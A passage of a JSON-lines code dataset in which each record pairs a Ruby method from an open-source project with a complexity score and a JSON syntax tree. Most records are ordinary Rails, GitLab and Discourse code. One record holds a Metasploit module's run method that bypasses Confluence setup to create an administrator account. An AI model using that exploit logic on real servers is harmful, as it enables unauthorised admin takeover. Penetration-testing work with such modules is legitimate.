t_equal\",{\"type\":\"str\",\"children\":[\"tagomori_satoshi\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tagomoris\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[34]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"age\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"str\",\"children\":[\"parser returns nil if configured so\"]}]}]}]}]}]}","id":"ca94c9a5-68ce-44d2-bfdc-1e394e130489"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb","start_line":75,"raw_source":"def run\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/server-info.action'),\n 'vars_get' => {\n 'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'\n }\n )\n\n return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200\n\n print_good('Found server-info.action! Trying to ignore setup.')\n\n created_user = create_admin_user\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),\n 'headers' => {\n 'X-Atlassian-Token' => 'no-check'\n }\n )\n\n return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user\n\n print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200\n\n create_credential({\n workspace_id: myworkspace_id,\n origin_type: :service,\n module_fullname: fullname,\n username: datastore['NEW_USERNAME'],\n private_type: :password,\n private_data: datastore['NEW_PASSWORD'],\n service_name: 'Atlassian Confluence',\n address: datastore['RHOST'],\n port: datastore['RPORT'],\n protocol: 'tcp',\n status: Metasploit::Model::Login::Status::UNTRIED\n })\n\n print_good(\"Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}\")\n print_good(\"Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action\")\n end","complexity_score":59.45,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/server-info.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bootstrapStatusProvider.applicationConfig.setupComplete\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Version vulnerable but setup is already completed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Found server-info.action! Trying to ignore setup.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_user\",{\"type\":\"send\",\"children\":[null,\"create_admin_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"setup/finishsetup.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Atlassian-Token\"]},{\"type\":\"str\",\"children\":[\"no-check\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"The admin user could not be created. Try a different username.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Admin user was created but setup could not be completed.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Confluence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin user was created successfully. Credentials: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Now you can login as administrator from: http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]},{\"type\":\"str\",\"children\":[\"login.action\"]}]}]}]}]}","id":"9195e23a-ab60-4fa2-925d-8d8a21c01de9"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/strong_parameters.rb","start_line":1072,"raw_source":"def init_with(coder) # :nodoc:\n case coder.tag\n when \"!ruby/hash:ActionController::Parameters\"\n # YAML 2.0.8's format where hash instance variables weren't stored.\n @parameters = coder.map.with_indifferent_access\n @permitted = false\n when \"!ruby/hash-with-ivars:ActionController::Parameters\"\n # YAML 2.0.9's Hash subclass format where keys and values were stored under an\n # elements hash and `permitted` within an ivars hash.\n @parameters = coder.map[\"elements\"].with_indifferent_access\n @permitted = coder.map[\"ivars\"][:@permitted]\n when \"!ruby/object:ActionController::Parameters\"\n # YAML's Object format. Only needed because of the format backwards\n # compatibility above, otherwise equivalent to YAML's initialization.\n @parameters, @permitted = coder.map[\"parameters\"], coder.map[\"permitted\"]\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"init_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"tag\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/hash:ActionController::Parameters\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/hash-with-ivars:ActionController::Parameters\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"elements\"]}]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ivars\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"@permitted\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/object:ActionController::Parameters\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\"]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"permitted\"]}]}]}]}]},null]}]}","id":"a37fcd25-a59a-4eb9-b8a2-7b7bd233a44e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/config_resolver.rb","start_line":69,"raw_source":"def make_jobs(config_jobs)\n config_jobs.map do |job|\n {\n name: job[:name],\n stage: job[:stage],\n group_name: CommitStatus.new(name: job[:name]).group_name,\n needs: job[:needs] || [],\n allow_failure: job[:allow_failure],\n before_script: job[:before_script],\n script: job[:script],\n after_script: job[:after_script],\n only: job[:only],\n except: job[:except],\n when: job[:when],\n tags: job[:tag_list],\n environment: job[:environment]\n }\n end\n end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"make_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_jobs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_jobs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CommitStatus\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},\"group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"needs\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_failure\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"when\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_list\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]}]}]}]}","id":"a512c0d6-9db2-4e21-aadc-d955a196f40f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/defaults_test.rb","start_line":256,"raw_source":"def test_mysql_not_null_defaults_non_strict\n using_strict(false) do\n with_mysql_not_null_table do |klass|\n record = klass.new\n assert_nil record.non_null_integer\n assert_nil record.non_null_string\n assert_nil record.non_null_text\n assert_nil record.non_null_blob\n\n record.save!\n record.reload\n\n assert_equal 0, record.non_null_integer\n assert_equal \"\", record.non_null_string\n assert_equal \"\", record.non_null_text\n assert_equal \"\", record.non_null_blob\n end\n end\n end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mysql_not_null_defaults_non_strict\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_strict\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_mysql_not_null_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_integer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_integer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_blob\"]}]}]}]}]}]}","id":"62b52100-d68c-43bc-9560-ad385c14aba8"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/redis/redis_shared_examples.rb","start_line":676,"raw_source":"def clear_params\n described_class.remove_instance_variable(:@params)\n described_class.config_fallback&.remove_instance_variable(:@params)\n rescue NameError\n # raised if @params was not set; ignore\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"remove_instance_variable\",{\"type\":\"sym\",\"children\":[\"@params\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"config_fallback\"]},\"remove_instance_variable\",{\"type\":\"sym\",\"children\":[\"@params\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,null]},null]}]}","id":"c6472e1d-ab8b-4597-ae69-2662316cb881"}
+{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/trips/calculate_path_job.rb","start_line":6,"raw_source":"def perform(trip_id)\n trip = Trip.find(trip_id)\n\n trip.calculate_path\n trip.save!\n\n broadcast_update(trip)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trip_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trip\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"trip_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trip\"]},\"calculate_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trip\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"broadcast_update\",{\"type\":\"lvar\",\"children\":[\"trip\"]}]}]}]}","id":"0310f805-6301-4a04-9891-394da207dd76"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":85,"raw_source":"def test_actions_are_turned_into_methods\n run_generator\n\n assert_file \"app/controllers/account_controller.rb\" do |controller|\n assert_instance_method :foo, controller\n assert_instance_method :bar, controller\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_actions_are_turned_into_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/account_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]}]}]}","id":"2a5599cd-ac4a-49c4-966f-c4d91cf55f52"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/enum_names.rb","start_line":65,"raw_source":"def check_class_name(const_node)\n return unless const_node&.const_name\n return if const_node.const_name.end_with?('Enum')\n\n add_offense(const_node, message: CLASS_NAME_SUFFIX_MSG)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_class_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"const_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const_node\"]},\"const_name\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const_node\"]},\"const_name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"Enum\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"const_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"CLASS_NAME_SUFFIX_MSG\"]}]}]}]}]}]}","id":"e4ba516e-6fab-44fc-86db-a1dd2450ab2e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/layouts/crud_component.rb","start_line":48,"raw_source":"def id\n @title.downcase.strip.gsub(\" \", \"-\").gsub(/[^\\w-]/, \"\") # rubocop:disable Performance/StringReplacement -- Not possible with tr\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@title\"]},\"downcase\"]},\"strip\"]},\"gsub\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"-\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\w-]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"a968119d-d106-48aa-8ec1-149114669467"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":552,"raw_source":"def log_show_emails(users, opts = {})\n return if users.blank?\n UserHistory.create!(\n params(opts).merge(\n action: UserHistory.actions[:check_email],\n details: users.map { |u| \"[#{u.id}] #{u.username}\" }.join(\"\\n\"),\n ),\n )\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_show_emails\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"check_email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"username\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}]}","id":"92a3db78-d9b9-4c7f-b7ac-935c4506d734"}
